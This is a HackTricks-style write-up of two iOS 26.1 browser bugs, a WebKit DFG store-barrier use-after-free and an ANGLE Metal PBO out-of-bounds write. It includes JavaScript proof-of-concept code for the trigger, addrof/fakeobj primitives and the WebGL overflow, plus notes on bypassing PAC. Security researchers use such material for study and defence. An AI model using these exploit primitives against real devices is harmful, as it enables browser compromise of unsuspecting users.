WebKit DFG Store-Barrier UAF + ANGLE PBO OOB (iOS 26.1)
Tip
Learn & practice AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Summary
- DFG Store Barrier bug (CVE-2025-43529): In
DFGStoreBarrierInsertionPhase.cpp, a Phi node marked escaped while its Upsilon inputs are not causes the phase to skip inserting a write barrier on subsequent object stores. Under GC pressure this lets JSC free still-reachable objects → use-after-free. - Exploit target: Force a Date object to materialize a butterfly (e.g.,
a[0] = 1.1) so the butterfly is freed, then reclaimed as array element storage to build boxed/unboxed confusion →addrof/fakeobjprimitives. - ANGLE Metal PBO bug (CVE-2025-14174): The Metal backend allocates the PBO staging buffer using
UNPACK_IMAGE_HEIGHTinstead of the real texture height. Supplying a tiny unpack height then issuing a largetexImage2Dcauses a staging-buffer OOB write (~240KB in the PoC below). - PAC blockers on arm64e (iOS 26.1): TypedArray
m_vectorand JSArraybutterflyare PAC-signed; forging fake objects with attacker-chosen pointers crashes withEXC_BAD_ACCESS/EXC_ARM_PAC. Only reusing already-signed butterflies (boxed/unboxed reinterpretation) works.
Triggering the DFG missing barrier → UAF
function triggerUAF(flag, allocCount) {
const A = {p0: 0x41414141, p1: 1.1, p2: 2.2};
arr[arr_index] = A; // Tenure A in old space
const a = new Date(1111); a[0] = 1.1; // Force Date butterfly
// GC pressure
for (let j = 0; j < allocCount; ++j) forGC.push(new ArrayBuffer(0x800000));
const b = {p0: 0x42424242, p1: 1.1};
let f = b; if (flag) f = 1.1; // Phi escapes, Upsilon not escaped
A.p1 = f; // Missing barrier state set up
for (let i = 0; i < 1e6; ++i) {} // GC race window
b.p1 = a; // Store without barrier → frees `a`/butterfly
}
Key points:
- Place A in old space to exercise generational barriers.
- Create an indexed Date so the butterfly is the freed target.
- Spray
ArrayBuffer(0x800000)to force GC and widen the race. - The Phi/Upsilon escape mismatch stops barrier insertion;
b.p1 = aruns without a write barrier, so GC reclaimsa/butterfly.
Butterfly reclaim → boxed/unboxed confusion
After GC frees the Date butterfly, spray arrays so the freed slab is reused as elements for two arrays with different element kinds:
boxed_arr[0] = obj; // store as boxed pointer
const addr = ftoi(unboxed_arr[0]); // read as float64 → addr leak
unboxed_arr[0] = itof(addr); // write pointer bits as float
const fake = boxed_arr[0]; // reinterpret as object → fakeobj
Status on iOS 26.1 (arm64e):
- Working:
addrof,fakeobj, 20+ address leaks per run, inline-slot read/write (on known inline fields). - Not stable yet: generalized
read64/write64via inline-slot backings.
PAC constraints on arm64e (why fake objects crash)
- TypedArray
m_vectorand JSArraybutterflyare PAC-signed; forging pointers yieldsEXC_BAD_ACCESS/ likelyEXC_ARM_PAC. - The confusion primitive works because it reuses legitimate signed butterflies; introducing unsigned attacker pointers fails authentication.
- Potential bypass ideas noted: JIT paths that skip auth, gadgets that sign attacker pointers, or pivoting through the ANGLE OOB.
ANGLE Metal PBO under-allocation → OOB write
Use a tiny unpack height to shrink the staging buffer, then upload a large texture so the copy overruns:
gl.pixelStorei(gl.UNPACK_IMAGE_HEIGHT, 16); // alloc height
// staging = 256 * 16 * 4 = 16KB
// actual = 256 * 256 * 4 = 256KB → ~240KB OOB
gl.texImage2D(gl.TEXTURE_2D, 0, gl.DEPTH_COMPONENT32F,
256, 256, 0, gl.DEPTH_COMPONENT, gl.FLOAT, 0);
Notes:
- Bug in
TextureMtl.cpp: staging buffer usesUNPACK_IMAGE_HEIGHTinstead of real texture height on the PBO path. - In the reference probe the WebGL2 PBO trigger is plumbed but not yet reliably observed on iOS 26.1.
References
Tip
Learn & practice AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.


